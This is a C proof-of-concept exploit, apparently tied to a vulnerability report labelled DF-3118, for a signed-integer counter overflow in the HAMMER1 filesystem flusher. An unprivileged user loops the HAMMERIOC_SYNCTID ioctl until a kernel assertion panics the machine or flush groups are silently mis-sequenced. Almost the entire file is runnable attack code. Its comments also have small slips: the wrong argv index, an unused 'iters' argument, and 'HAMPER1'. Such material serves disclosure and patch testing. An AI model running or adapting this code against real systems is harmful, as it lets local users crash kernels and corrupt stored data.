DF-3118 / burn.c
/* * DF-3118 PoC - HAMMER1 flusher signed-int sequence counter overflow. * * hammer.h: int flusher.signal/done/next (32-bit signed) * hammer_flusher.c:166 while (seq - hmp->flusher.done > 0) tsleep(...) * hammer_flusher.c:356 KKASSERT(flg->seq - seq > 0 || hmp->ronly >= 2) * hammer_flusher.c:448 if (resv->flg_no - seq > 0) break; (delay_list) * hammer_blockmap.c:730 resv->flg_no = hmp->flusher.next + 1 * * HAMMERIOC_SYNCTID (ASYNC) is unprivileged (hammer_ioctl.c:117 overwrites * the caps_priv_check error) and hammer_flusher_async() bumps * hmp->flusher.next once per call with no waiting when no flush groups * are pending (hammer_flusher.c:114-122). * * This program: * mode "burn" : tight loop of HAMMERIOC_SYNCTID/ASYNC on argv[1]. * Each call allocates one dummy flusher sequence number. * Run several in parallel so the frontend out-allocates * the master flusher thread; the ring distance * (next - done) grows until it exceeds 2^31. * mode "group" : loop { write a byte to a file; HAMMERIOC_SYNCTID/ASYNC } * keeps creating+closing real flush groups. The moment a * group's seq is >= 2^31 ahead of the master's done, the * master's next cycle hits * KKASSERT(flg->seq - seq > 0) * which, with the wrapping-sub codegen (objdump: sub/test/jle), * evaluates false -> kernel panic on INVARIANTS kernels, * silently mis-sequenced flush groups otherwise. * mode "sync" : loop HAMMERIOC_SYNCTID/SYNC1 - demonstrates the * completion-wait early-return (sync() returning while the * flusher is still >= 2^31 sequence numbers behind). * * unprivileged; needs only a readable fd on a file on a HAMPER1 mount. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <time.h> #include "vfs/hammer/hammer_ioctl.h" int main(int argc, char **argv) { struct hammer_ioc_synctid st; const char *mode; char path[512]; int64_t n = 0; int fd; time_t t0, t1; if (argc < 3) { fprintf(stderr, "usage: %s <burn|group|sync> <file-on-hammer1> [iters]\n", argv[0]); exit(1); } mode = argv[1]; snprintf(path, sizeof(path), "%s", argv[2]); fd = open(path, O_RDWR); if (fd < 0) { perror("open"); exit(1); } time(&t0); for (;;) { bzero(&st, sizeof(st)); if (strcmp(mode, "sync") == 0) st.op = HAMMER_SYNCTID_SYNC1; else st.op = HAMMER_SYNCTID_ASYNC; if (ioctl(fd, HAMMERIOC_SYNCTID, &st) != 0) { perror("ioctl"); exit(1); } if (strcmp(mode, "group") == 0) { if (write(fd, "x", 1) != 1) { perror("write"); exit(1); } } ++n; if ((n & 0xFFFFF) == 0) { time(&t1); fprintf(stderr, "%s[%d] %lld ops in %llds (%.0f ops/s)\n", mode, (int)getpid(), (long long)n, (long long)(t1 - t0), n / (double)(t1 - t0 ? t1 - t0 : 1)); } } /* NOTREACHED */ return (0); } |